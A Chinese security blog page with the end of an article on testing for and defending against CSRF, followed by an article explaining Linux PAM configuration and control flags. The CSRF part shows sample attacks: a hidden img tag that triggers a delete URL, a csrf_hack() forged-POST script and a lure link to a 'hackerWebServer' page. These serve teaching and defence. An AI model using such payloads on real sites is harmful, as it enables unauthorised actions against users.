<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;AppScan 使用流程，AppScan 执行过程的一个分解，如图 3。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;图 3. AppScan 执行过程的一个分解</p>
<p><figure class="figure"><img src="https://github.com/hcldirgit/image/blob/master/Web%20%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E5%B8%B8%E8%A7%81%E6%BC%8F%E6%B4%9E%20CSRF%20%E7%9A%84%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B%E4%B8%8E%E9%98%B2%E8%8C%83/03.jpeg?raw=true" alt=""></figure></p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;精确测试的方法，目的是为了检测是否存在 CSRF 保护。对 CSRF 保护有个范围约束的问题，并不是所有的请求都需要对 CSRF 攻击做防范。对静态资源除非有 DELETE/PUT 操作允许的情况下，才需要进行测试；而对于关键的业务逻辑，比如银行转帐，确认收货人信息，参加竞标，删除一个用户，赋予用户高级权限，等等，对这类定性问题的约束是根据不同的商业产品各异，要具体问题具体分析。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;本例以常见的页面删除为实例，阐述一个可以的测试方法。大概分为以下几种情况 :<br>使用 GET 来删除页面的，使用 DELETE/PUT 来删除页面的，使用 POST 来删除页面的，都是服务器与客户端的交互过程，具体的实例分析起来要远比分类更为复杂，一个    操作可能带有很多各样的请求，找到有威胁的请求才是最终目的，有时候哪怕是         AppScan 已经定位到具体是那个请求，也还需要通过手工将这个案例找出加以描述成为    有实际操作价值的场景，这里就需要引入手工测试工具加以支持。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;手工工具的介绍，做精确测试需要对 HTTP 请求做频繁的操作，如果需要查看请求的内容，还有对具体请求的操作的观察，推荐使用 Fiddler 或者 WebScarab。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;开始手动验证之前，还需要清楚 CSRF 发生的条件。所有的问题的发生有个前提条件是用户常用的浏览器中有一个与目标服务器处于激活状态的会话。这个条件需要的原因是，CSRF 攻击的模式是用户 A 被恶意用户 B 所攻击，攻击是 B 发起的被用户 A 执行实现的。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;而 B 往往是在 A 常去的网站注入代码，或者发送链接或者包含附件的文件给 A，而包含着恶意代码或者链接的页面要被执行，条件是用户 A 已经处在和服务器的会话之中，这也是 CSRF 发生的前提条件，也是手工测试的基础。</p>
<h2 id="对-GET-CSRF-漏洞的测试"><a href="#对-GET-CSRF-漏洞的测试" class="headerlink" title="对 GET CSRF 漏洞的测试"></a>对 GET CSRF 漏洞的测试</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;GET 请求的情况下，请求如 <a href="http://mysite/service?action=delete&amp;pageid=100001" target="_blank" rel="external">http://mysite/service?action=delete&amp;pageid=100001</a> 这类问题的验证最为直接，并且无需写脚本和使用 fiddler 工具去观察实际的请求的格式。检测方法就是在维持一个与服务器连接的前提下，在浏览器地址栏输入如下网址，如果实际的页面被删除了就是 CSRF 攻击成功了。对于如此清楚的实例基本看到 URL 已经可以证明没有任何 CSRF 保护。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;可关联的攻击场景如下，在任何可以显示图片的地方写入如下 <figure class="figure"><img src="http://mysite/service?action=delete&pageid=100001" width="0" height="0/"></figure>，另外只需    要指引有删除权限的用户访问一下包含这个图片标签的网页，往往是通过发一个邮件或者 MSN 一个简单的链接就可以完成删除页面的操作。</p>
<h2 id="对-POST-CSRF-漏洞的测试"><a href="#对-POST-CSRF-漏洞的测试" class="headerlink" title="对 POST CSRF 漏洞的测试"></a>对 POST CSRF 漏洞的测试</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;POST 请求的操作并不能免除 CSRF 的攻击。在浏览器中要发出 POST 请求，可以使用两种方法，一个是通过脚本调用页面文档元素 form 直接进行提交操作，特点是可以进行跨域的脚本提交，隐式攻击。另一种是通过使用 Ajax 对象直接发出请求，但是由于不能跨域发出请求，可执行的力度并不高，但是还是有可能性。同样是一个删除页面的操作，如下所示结构。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">POST http://mysite/service</div><div class="line">Headers….</div><div class="line"></div><div class="line">Action=delete&amp;pageid=100001</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这个不同于 GET 之处是不能简单的通过在浏览器直接输入一个链接就能测试。需要借助一下预设好的 HTTP 服务器如 IBM HTTP Server、Domino，或者 IIS。将 IFrame.html 的清单拷贝到服务器的一个目录。通过修改 frame1.html 中的 csrf_hack() 如下。</p>
<h3 id="清单-4-修改-frame1-html-中的-csrf-hack"><a href="#清单-4-修改-frame1-html-中的-csrf-hack" class="headerlink" title="清单 4. 修改 frame1.html 中的 csrf_hack()"></a>清单 4. 修改 frame1.html 中的 csrf_hack()</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">function</span> <span class="function"><span class="title">csrf_hack</span></span>() &#123;</div><div class="line"> 	var fields;</div><div class="line">	fields += <span class="string">"&lt;input type='' name='action' value='"</span>+<span class="string">"delete"</span>+<span class="string">"'&gt;"</span>;</div><div class="line">	fields += <span class="string">"&lt;input type='' name=pageid value='"</span>+<span class="string">"1000001"</span> +<span class="string">"'&gt;"</span>;</div><div class="line">	unescape(fields);</div><div class="line">	post(<span class="string">'http://mysite/service '</span>,fields);</div><div class="line">	alert(<span class="string">"csrf_end"</span>);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;可关联的攻击场景如下 ，通过邮件或者 MSN 发送一个链接 <a href="http://hackerWebServer/iframe" target="_blank" rel="external">http://hackerWebServer/iframe</a> 给可以删除页面的用户，该操作就会被执行，如果页面删除，攻击成功。通过在其他网站可以做脚本注入的将 iframe.html 脚本写在该网站，    一样可以达到攻击效果。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;另一类通过 Ajax 提交的 post 请求，这类结构中多采用 SOAP message 或者类似的 XML 消息体，或者 Jason 消息体提交请求。结构如下。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">POST http://mysite/service</div><div class="line">Headers….</div><div class="line"></div><div class="line">&lt;soap:Envelope xmlns:soap=<span class="string">"http://schemas.xmlsoap.org/soap/envelope/"</span> </div><div class="line">xmlns:xsi=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> </div><div class="line">xmlns:xsd=<span class="string">"http://www.w3.org/2001/XMLSchema"</span>&gt;&lt;soap:Header&gt;</div><div class="line">&lt;serviceVersion&gt;8.0.0&lt;/serviceVersion&gt;</div><div class="line">&lt;/soap:Header&gt;&lt;soap:Body&gt;</div><div class="line">&lt;deleteDocument </div><div class="line">xmlns=<span class="string">"http://webservices.clb.content.ibm.com"</span>&gt; </div><div class="line">&lt;path&gt;/@Pcsrftestplace/@RMain.nsf/@F/@DE44FD4FF0956D07648257570002C42DA</div><div class="line">&lt;/path&gt;&lt;/deleteDocument&gt;&lt;/soap:Body&gt;&lt;/soap:Envelope&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;在此类情况下，需要修改 form 的表单的 enctype 属性为 multipart/form-data，因为在默认的情况下是 application/x-www-form-urlencoded，所有字符都会做 URL 编码转换，提交的数据是不合法的无法被服务器端识别，所以需要修改 enctype 属性，在 multipart/formdata 的情况下，数据是不会被编码的，而在很多服务器的接收端有的就是    使用 multipart/formdata 去接受数据。由于 javascript 出于对安全的考虑禁止脚本自动修    改 form 中提交的 file 属性的输入的值，所以想通过脚本修改控制 enctype 是不允许的，这样不同于第一类 POST 请求。但是并不影响场景的合理性，通过在有漏洞的网站伪造表单请求，form 指向我们要操作的 URL 即可。这种情况下，需要构造一个完整的表单，并通过用户点击一个任意方式发送的链接达到攻击效果。</p>
<h2 id="对-DELETE-PUT-CSRF-漏洞的测试"><a href="#对-DELETE-PUT-CSRF-漏洞的测试" class="headerlink" title="对 DELETE/PUT CSRF 漏洞的测试"></a>对 DELETE/PUT CSRF 漏洞的测试</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;DELETE/PUT 请求依赖于 Web 2.0 技术，由于本身的限制，自由发出跨站的伪造请求是不可能的。更多使用的是离线攻击，或者本站点的脚本注入攻击。在存在本站点脚本注入攻击的情况下，所有这 4 种情况下，都可以完成隐式的攻击方式。代码请参照 Web 2.0 攻击章节的实例。</p>
<h2 id="CSRF-的防范"><a href="#CSRF-的防范" class="headerlink" title="CSRF 的防范"></a>CSRF 的防范</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;CSRF 的防范机制有很多种，防范的方法也根据 CSRF 攻击方式的不断升级而不断演化。常用的有检查 Refer 头部信息，使用一次性令牌，使用验证图片等手段。出于性能的考虑，如果每个请求都加入令牌验证将极大的增加服务器的负担，具体采用那种方法更合理，需要谨慎审视每种保护的优缺点。</p>
<ol>
<li>检查 HTTP 头部 Refer 信息，这是防止 CSRF 的最简单容易实现的一种手段。根据 RFC 对于 HTTP 协议里面 Refer 的定义，Refer 信息跟随出现在每个 Http 请求头部。Server 端在收到请求之后，可以去检查这个头信息，只接受来自本域的请求而忽略外部域的请求，这样就可以避免了很多风险。当然这种检查方式由于过于简单也有它自身的弱点：</li>
</ol>
<ul>
<li>首先是检查 Refer 信息并不能防范来自本域的攻击。在企业业务网站上，经常会有同域的论坛，邮件等形式的 Web 应用程序存在，来自这些地方的 CSRF 攻击所携带的就是本域的 Refer 域信息，因此不能被这种防御手段所阻止。</li>
<li>同样，某些直接发送 HTTP 请求的方式（指非浏览器，比如用后台代码等方法）可以伪造一些 Refer 信息，虽然直接进行头信息伪造的方式属于直接发送请求，很难跟随发送 cookie，但由于目前客户端手段层出不穷，flash，javascript 等大规模使用，从客户端进行 refer 的伪造，尤其是在客户端浏览器安装了越来越多的插件的情况下已经成为可能了。</li>
</ul>
<ol>
<li>使用一次性令牌，这是当前 Web 应用程序的设计人员广泛使用的一种方式，方法是对于 Get 请求，在 URL 里面加入一个令牌，对于 Post 请求，在隐藏域中加入一个令牌。这个令牌由 server 端生成，由编程人员控制在客户端发送请求的时候使请求携带本令牌然后在 Server 端进行验证。但在令牌的设计上目前存在着几个错误的方案：</li>
</ol>
<ul>
<li>使用和 Session 独立的令牌生成方式。这种令牌的值和 Session 无关，因此容易被其他用户伪造。这里的其他用户指的是当前 Web 应用程序的其他用户和活跃在网络传输阶段各个设置上的监听者，这种恶意用户可能使用自己的令牌来进行替换以便达到伪造的目的。</li>
<li>完全使用 Session 认证信息作为令牌的生成方式。这种保护方式对于保护 CSRF 是起了作用的，但是可能会造成其他危害，具体来说，如果某些 URL 或者网页被拷贝下来与其他人共享，那么这些 URL 或者拷贝下来的网页中可能会含有用户的会话信息，这种信息一旦被恶意用户获得，就能造成极大的危害。</li>
</ul>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;因此，一个正确的令牌设计应该是使用 Session 信息做 Hash，用得出的哈希值来做 CSRF 的令牌。</p>
<ol>
<li>使用验证图片，这种方法的出现的作用是对于机器人暴力攻击的防止。但在 CSRF 的防范上，也有一些安全性要求比较高的的应用程序结合验证图片和一次性令牌来做双重保护。由于这种图片验证信息很难被恶意程序在客户端识别，因此能够提高更强的保护。当客户端的浏览器可能已经处于一种不安全的环境中的情况下（比如客户端的安全级别设置较低，客户端浏览器安装了不安全的插件等）。</li>
</ol>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;以上给的这些只是防范 CSRF 的比较通用的一些方法，Web 开发人员可以根据自己对自己的应用程序的功能的理解来确定安全级别的要求从而选择使用不同的保护措施，也推荐在同一应用程序内部结合使用多种方法来进行保护。</p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;CSRF 攻击作为一个存在已久的攻击方式，在大量的商业网站上都可以找出，应用本文的知识作出一个合理的分析，有针对性的提出改进方案才是本文作者希望看到的，在即不损害应用程序的性能的前提下，提高安全性；而对即将开发的网络应用程序来说，深刻理解其的危害性，在设计阶段就考虑到对 CSRF 的防范，无疑能收到更好的效果。</p>

	

	

</article>




	<article>
	
		<h1><a href="/2017/10/12/Linux安全/2. Linux可插拔认证模块（PAM）的配置文件、工作原理与流程/">Linux可插拔认证模块（PAM）的配置文件、工作原理与流程</a></h1>
	
	<div class="article__infos">
		<span class="article__date">2017-10-12</span><br />
		
		
			<span class="article__tags">
			  	<a class="article__tag-link" href="/tags/Linux安全/">Linux安全</a>
			</span>
		
	</div>

	

	
		<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;PAM的配置文件：</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;我们注意到，配置文件也放在了在应用接口层中，他与PAM API配合使用，从而达到了在应用中灵活插入所需鉴别模块的目的。他的作用主要是为应用选定具体的鉴别模块，模块间的组合以及规定模块的行为。下面是一个示例配置文件：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line">cat /etc/pam.d/system-auth：</div><div class="line"><span class="comment">#%PAM-1.0</span></div><div class="line"><span class="comment"># This file is auto-generated.</span></div><div class="line"><span class="comment"># User changes will be destroyed the next time authconfig is run.</span></div><div class="line">auth required /lib/security/<span class="variable">$ISA</span>/pam_env.so</div><div class="line">auth sufficient /lib/security/<span class="variable">$ISA</span>/pam_unix.so likeauth nullok</div><div class="line">auth required /lib/security/<span class="variable">$ISA</span>/pam_deny.so</div><div class="line"> </div><div class="line">account required /lib/security/<span class="variable">$ISA</span>/pam_unix.so</div><div class="line">account sufficient /lib/security/<span class="variable">$ISA</span>/pam_succeed_if.so uid &lt; 100 quiet</div><div class="line">account required /lib/security/<span class="variable">$ISA</span>/pam_permit.so</div><div class="line"> </div><div class="line">password requisite /lib/security/<span class="variable">$ISA</span>/pam_cracklib.so retry=3</div><div class="line">password sufficient /lib/security/<span class="variable">$ISA</span>/pam_unix.so nullok use_authtok md5 shadow nis</div><div class="line">password required /lib/security/<span class="variable">$ISA</span>/pam_deny.so</div><div class="line"> </div><div class="line">session required /lib/security/<span class="variable">$ISA</span>/pam_limits.so</div><div class="line">session required /lib/security/<span class="variable">$ISA</span>/pam_unix.so</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;我们可以看到,配置文件有许多配置项(每行对应一个配置项)组成，每一行又分为四列(每列对应一栏)：</p>
<h2 id="第一栏-认证鉴别接口类型："><a href="#第一栏-认证鉴别接口类型：" class="headerlink" title="第一栏 认证鉴别接口类型："></a>第一栏 认证鉴别接口类型：</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;指明程序所使用的PAM的认证接口类型，其实对应了刚才所说的四类接口：</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;auth：表示鉴别类接口模块类型用于检查用户和密码，并分配权限；</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这种类型的模块为用户验证提供两方面服务。让应用程序提示用户输入密码或者其他标记，确认用户合法性；通过他的凭证许可权限，设定组成员关系或者其他优先权。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;account：表示账户类接口，主要负责账户合法性检查，确认帐号是否过期，是否有权限登录系统等；</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这种模块执行的是基于非验证的帐号管理。他主要用于限制/允许用户对某个服务的访问时间，当前有效的系统资源（最多可以多少用户），限制用户位置（例如：root只能通过控制台登录）。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;多数情况下auth和account会一起用来对用户登录和使用服务的情况进行限制。这样的限制会更加完    整。比如下面是一个具体的例子：login是一个应用程序。Login要完成两件工作——首先查询用户，然后为用户提供所需的服务，例如提供一个shell程序。通常Login要求用户输入名称和密码进行验证。当用户名输入的时候，系统自然会去比对该用户是否是一个合法用户，是否在存在于本地或者远程的用户数据库中。如果该账号确实存在，那么是否过期。这些个工作是由account接口来负责。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;如果用户满足上述登录的前提条件，那么他是否具有可登录系统的口令，口令是否过期等。这个工作    就要由auth接口来负责了，他通常会将用户口令信息加密并提供给本地（/etc/shadow）或者远程的(ldap，kerberos等)口令验证方式进行验证。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;如果用户能够登录成功，证明auth和account的工作已经完成。但整个验证过程并没有完全结束。因为还有一些其他的问题没有得到确认。例如，用户能够在服务器上同时开启多少个窗口登录，用户可以在登录之后使用多少终端多长时间，用户能够访问哪些资源和不能访问哪些资源等等。也就是说登录之后的后续验证和环境定义等还需要其他的接口。这就是我们下面要提到的两组接口：</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;session：会话类接口。实现从用户登录成功到退出的会话控制；</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;处理为用户提供服务之前/后需要做的些事情。包括：开启/关闭交换数据的信息，监视目录等，设置用户会话环境等。也就是说这是在系统正式进行服务提供之前的最后一道关口。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;password：口令类接口。控制用户更改密码的全过程。也就是有些资料所说的升级用户验证标记。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;注意，上述接口在使用的时候，每行只能指定一种接口类型，如果程序需要多种接口的话，可在多行中分别予以规定。</p>
<h2 id="第二栏-control-flag控制位："><a href="#第二栏-control-flag控制位：" class="headerlink" title="第二栏 control_flag控制位："></a>第二栏 control_flag控制位：</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;规定如何处理PAM模块鉴别认证的结果，简而言之就是鉴别认证成功或者失败之后会发生什么事，如何进行控制。单个应用程序可以调用多种底层模块，通常称为“堆叠”。对应于某程序按照配置文件中出现顺序执行的所有模块成为“堆”，堆中的各模块的地位与出错时的处理方式由control_flag栏的取值决定，他的四种可能的取值分别为required、Requisite、sufficient或_optional：</p>
<ul>
<li><p>required：表示该行以及所涉及模块的成功是用户通过鉴别的必要条件。换句话说，只有当对应于应用程序的所有带 required标记的模块全部成功后，该程序才能通过鉴别。同时，如果任何带required标记的模块出现了错误，PAM并不立刻将错误消息返回给应用程序，而是在所有模块都调用完毕后才将错误消息返回调用他的程序。 反正说白了，就是必须将所有的模块都执行一次，其中任何一个模块验证出错，验证都会继续进行，并在执行完成之后才返回错误信息。这样做的目的就是不让用户知道自己被哪个模块拒绝，通过一种隐蔽的方式来保护系统服务。就像设置防火墙规则的时候将拒绝类的规则都设置为drop一样，以致于用户在访问网络不成功的时候无法准确判断到底是被拒绝还是目标网络不可达。</p>
</li>
<li><p>requisite：与required相仿，只有带此标记的模块返回成功后，用户才能通过鉴别。不同之处在于其一旦失败就不再执行堆中后面的其他模块，并且鉴别过程到此结束，同时也会立即返回错误信息。与上面的required相比，似乎要显得更光明正大一些。</p>
</li>
<li><p>sufficient：表示该行以及所涉及模块验证成功是用户通过鉴别的充分条件。也就是说只要标记为    sufficient的模块一旦验证成功，那么PAM便立即向应用程序返回成功结果而不必尝试任何其他模块。即便后面的层叠模块使用了requisite或者required控制标志也是一样。当标记为sufficient的模块失败时，sufficient模块会当做 optional对待。因此拥有sufficient 标志位的配置项在执行验证出错的时候并不会导致整个验证失败，但执行验证成功之时则大门敞开。所以该控制位的使用务必慎重。</p>
</li>
<li><p>optional：他表示即便该行所涉及的模块验证失败用户仍能通过认证。在PAM体系中，带有该标记的模块失败后将继续处理下一模块。也就是说即使本行指定的模块验证失败，也允许用户享受应用程序提供的服务。使用该标志，PAM框架会忽略这个模块产生的验证错误，继续顺序执行下一个层叠模块。</p>
</li>
<li><p>include：表示在验证过程中调用其他的PAM配置文件。在RHEL系统中有相当多的应用通过完整调用/etc/pam.d/system-auth来实现认证而不需要重新逐一去写配置项。这也就意味着在很多时候只要用户能够登录系统，针对绝大多数的应用程序也能同时通过认证。</p>
</li>
</ul>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;另外还有一种比较复杂的格式为value = action的语法来设置控制标志，标志之间会以空格分开。格式如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">value1 = action1 value2 = action2 ……</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;其中value可以是下列Linux PAM库的返回值：</p>
<blockquote>
<p>success、open_err、symbol_err、service_err、 system_err、buf_err、perm_denied、auth_err、cred_insufficient、authinfo_unavail、user_unknown、maxtries、new_authtok_reqd、acct_expired、 session_err、cred_unavail、cred_expired、cred_err、no_module_data、conv_err、 authtok_err、authtok_recover_err、authtok_lock_busy、authtok_disable_aging、 try_again、ignore、abort、authtok_expired、module_unknown、bad_item和default。</p>
</blockquote>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;最后一个(default)能够用来设置上面的返回值无法表达的行为。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;actionN可以是一个非负整数或者是下面的记号之一：ignore、ok、done、bad、die和reset。如果是非负整数J，就表示需要忽略后面J个同样类型的模块。通过这种方式，系统管理者可以更加灵活地设置层叠模块，模块的层叠路径由单个模块的反应决定。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;关于这几个记号的详细解释：</p>
<ul>
<li><p>ignore：如果使用层叠模块，那么这个模块的返回值将被忽略，不会被应用程序知道。</p>
</li>
<li><p>bad：他表示这个返回码应该被看作是模块验证失败的标志。如果这个模块是层叠模块的第一个验证失败的模块，那么他的状态值就是整个层叠模块验证的状态值和结果。</p>
</li>
<li><p>die：终止层叠模块验证过程，立刻返回到应用程序。</p>
</li>
<li><p>ok：告诉PAM这个模块的返回值将直接作为所有层叠模块的返回值。也就是说，如果这个模块前面的模块返回状态是PAM_SUCCESS，那这个返回值就会覆盖前面的返回状态。注意：如果前面的模块的返回状态表示模块验证失败，那么不能使用这个返回值再加以覆盖。</p>
</li>
<li><p>done：终止后续层叠模块的验证，把控制权立刻交回应用程序。</p>
</li>
<li><p>reset：清除所有层叠模块的返回状态，从下一个层叠模块重新开始验证。</p>
</li>
</ul>
<h2 id="第三栏-module-path即所使用模块的全路径名称。"><a href="#第三栏-module-path即所使用模块的全路径名称。" class="headerlink" title="第三栏 module_path即所使用模块的全路径名称。"></a>第三栏 module_path即所使用模块的全路径名称。</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;以Red Hat Enterprise Linux（RHEL）为例，值得注意的是在i368/i686和x86_64系统中模块的全路径名称是不一样的。所以当有的时候用户将一些PAM的配置文件从原来系统复制到新的系统时，如果两种系统架构不同，那么不修改模块路径名称则可能导致PAM报错。</p>
<h2 id="第四栏-options用于向特定模块传递相关的选项，然后由模块分析解释这些选项。"><a href="#第四栏-options用于向特定模块传递相关的选项，然后由模块分析解释这些选项。" class="headerlink" title="第四栏 options用于向特定模块传递相关的选项，然后由模块分析解释这些选项。"></a>第四栏 options用于向特定模块传递相关的选项，然后由模块分析解释这些选项。</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;比如使用此栏打开模块调试模式，或向某模块传递诸如超时值之类的参数等。另外他还用于支持下文所述的口令映射技术。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;如果任一栏出现错误或某模块没有找到，那么所在行被忽略并将其作为严重错误进行记录。</p>
<h2 id="PAM的工作原理与流程："><a href="#PAM的工作原理与流程：" class="headerlink" title="PAM的工作原理与流程："></a>PAM的工作原理与流程：</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;以RHEL系统为例，当pam安装之后有两大部分：在/lib/security目录下的各种pam模块以    及/etc/pam.d和/etc/pam.d目录下的针对各种服务和应用已经定义好的pam配置文件。当某一个有认证需求的应用程序需要验证的时候，一般在应用程序中就会定义负责对其认证的PAM配置文件。以    vsftpd为例，在它的配置文件/etc/vsftpd/vsftpd.conf中就有这样一行定义：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">pam_service_name=vsftpd</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;表示登录FTP服务器的时候进行认证是根据/etc/pam.d/vsftpd文件定义的内容进行。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;那么，当程序需要认证的时候已经找到相关的pam配置文件，认证过程是如何进行的？下面我们将通过解读/etc/pam.d/system-auth文件予以说明。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;首先要声明一点的是：system-auth是一个非常重要的pam配置文件，主要负责用户登录系统的认证工作。而且该文件不仅仅只是负责用户登录系统认证，其它的程序和服务通过include接口也可以调用到它，从而节省了很多重新自定义配置的工作。所以应该说该文件是系统安全的总开关和核心的pam配置文件。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;下面是/etc/pam.d/system-auth文件的全部内容：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line">grep -v ^<span class="comment"># /etc/pam.d/system-auth</span></div><div class="line">auth required pam_env.so</div><div class="line">auth sufficient pam_unix.so nullok try_first_pass</div><div class="line">auth requisite pam_succeed_if.so uid &gt;= 500 quiet</div><div class="line">auth required pam_deny.so</div><div class="line">  </div><div class="line">account required pam_unix.so</div><div class="line">account sufficient pam_succeed_if.so uid &lt; 500 quiet</div><div class="line">account required pam_permit.so</div><div class="line">  </div><div class="line">password requisite pam_cracklib.so try_first_pass retry=3</div><div class="line">password sufficient pam_unix.so md5 shadow nullok try_first_pass use_authtok</div><div class="line">password required pam_deny.so</div><div class="line">  </div><div class="line">session optional pam_keyinit.so revoke</div><div class="line">session required pam_limits.so</div><div class="line">session [success=1 default=ignore] pam_succeed_if.so service <span class="keyword">in</span> crond quiet use_uid</div><div class="line">session required pam_unix.so</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;第一部分表示，当用户登录的时候，首先会通过auth类接口对用户身份进行识别和密码认证。所以在该过程中验证会经过几个带auth的配置项。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;其中的第一步是通过pam_env.so模块来定义用户登录之后的环境变量， pam_env.so允许设置和更改用户登录时候的环境变量，默认情况下，若没有特别指定配置文件，将依    据/etc/security/pam_env.conf进行用户登录之后环境变量的设置。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;然后通过pam_unix.so模块来提示用户输入密码，并将用户密码与/etc/shadow中记录的密码信息进行对比，如果密码比对结果正确则允许用户登录，而且该配置项的使用的是“sufficient”控制位，即表示只要该配置项的验证通过，用户即可完全通过认证而不用再去走下面的认证项。不过在特殊情况下，用户允许使用空密码登录系统，例如当将某个用户在/etc/shadow中的密码字段删除之后，该用户可以只输入用户名直接登录系统。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;下面的配置项中，通过pam_succeed_if.so对用户的登录条件做一些限制，表示允许uid大于500的用户在通过密码验证的情况下登录，在Linux系统中，一般系统用户的uid都在500之内，所以该项即表示允许使用useradd命令以及默认选项建立的普通用户直接由本地控制台登录系统。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;最后通过pam_deny.so模块对所有不满足上述任意条件的登录请求直接拒绝，pam_deny.so是一个特殊的模块，该模块返回值永远为否，类似于大多数安全机制的配置准则，在所有认证规则走完之后，对不匹配任何规则的请求直接拒绝。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;第二部分的三个配置项主要表示通过account账户类接口来识别账户的合法性以及登录权限。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;第一行仍然使用pam_unix.so模块来声明用户需要通过密码认证。第二行承认了系统中uid小于500的系统用户的合法性。之后对所有类型的用户登录请求都开放控制台。</p>
